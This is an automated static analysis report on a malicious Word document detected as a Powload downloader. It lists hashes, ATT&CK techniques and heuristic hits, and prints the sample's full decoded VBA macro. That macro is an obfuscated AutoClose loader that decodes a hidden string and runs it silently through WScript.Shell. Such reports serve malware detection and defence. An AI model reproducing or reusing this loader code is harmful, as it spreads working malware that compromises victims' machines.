Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e9f64d3adddf546b…

MALICIOUS

Office (OOXML)

53.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-18
MD5: 672104a5544738f88e98ca2dcadf15b5 SHA-1: c9dd0aa112ed4fda6fdfb13e9a7b17843ee58407 SHA-256: e9f64d3adddf546b49d2281519c8ada60cfbb3abd6b66a6ba25992cd6627ad26
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The sample is a malicious OOXML document containing a VBA macro. The macro utilizes WScript.Shell and Shell() calls, indicating an attempt to execute arbitrary code. The presence of an obfuscated auto-exec loader and the ClamAV detection 'Doc.Downloader.Powload-6707242-0' strongly suggest that the macro's purpose is to download and execute a second-stage payload, likely using PowerShell.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       gentry = "WScript.Shell"
   sphere = DateDiff("s", #1/1/1970#, Now())
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "kurdish", paleoalchemical
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If blanketlike - sphere > 1 Then
       CreateObject(Trim(gentry)).Run hemase, 0
       sheppey = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  foregleam = Array("N", "T", "L", "7", "h", "t", "4", "0", "4", "a", "L", "7", "7", "D", "i", "3", "3", "N", "M", "h", "k", "6", "T", "7", "h", "T", "6", "T", "J", "L", "o", "J", "6", "r", "M", "6", "N", "s", "J", "4", "t", "1", "6", "N", "3", "C", "u", "O", "3", "7", "4", "M", "0", "t", "D", "L", "D", "Q", "o", "7", "N", "h", "z", "Y", "h", "Y", "4", "7", "n")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2123 bytes
SHA-256: 8995fa8f1ebc49693b5bbe8e17f4ff3d1ab7338cf267695177dff030ab70767f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function warthog(foregleam)
  loverhood = Array("C", "N", "a", "6", "7", "z", "u", "Q", "1", "M", "i", "t", "O", "Y", "r", "3", "J", "k", "h", "4", "D", "s", "T", "n", "o", "0", "L")
  suitors = Array("A", "m", " ", "o", "t", "=", "N", "?", "c", "r", ":", ".", "Y", "b", "g", "/", "i", "z", "a", "e", "p", "n", "s", "k", "u", "x", "h")
  
  confessionalian = vbNullString
  
  For Each adenohypersthenia In foregleam
    placochromatic = tettigidae(adenohypersthenia, loverhood, UBound(loverhood))
    If placochromatic > -1 Then
    confessionalian = suitors(placochromatic) & confessionalian
    End If
  Next
  
  warthog = StrReverse(confessionalian)
  
End Function

Public Function tettigidae(anew, standfast, hawks)
  joust = 5553
  redemptor = 772
  For joust = 0 To hawks
    If standfast(joust) = anew And joust > -1 Then
     redemptor = joust
    End If
  Next

  If redemptor = 772 Then
    redemptor = -1
  End If
  
  tettigidae = redemptor
End Function

Sub AutoClose()
  foregleam = Array("N", "T", "L", "7", "h", "t", "4", "0", "4", "a", "L", "7", "7", "D", "i", "3", "3", "N", "M", "h", "k", "6", "T", "7", "h", "T", "6", "T", "J", "L", "o", "J", "6", "r", "M", "6", "N", "s", "J", "4", "t", "1", "6", "N", "3", "C", "u", "O", "3", "7", "4", "M", "0", "t", "D", "L", "D", "Q", "o", "7", "N", "h", "z", "Y", "h", "Y", "4", "7", "n")
  paleoalchemical = warthog(foregleam)
  
  Application.Run "kurdish", paleoalchemical
  
End Sub


Private Sub kurdish(hemase)
   
   gentry = "WScript.Shell"
   sphere = DateDiff("s", #1/1/1970#, Now())
   sheppey = True
   
   While sheppey
     blanketlike = sphere + 60
     If blanketlike - sphere > 1 Then
       CreateObject(Trim(gentry)).Run hemase, 0
       sheppey = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 19bb5612b50b3482fc3cfaa040039cf0579cbb3f71e84f445ed28634a7496105
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely

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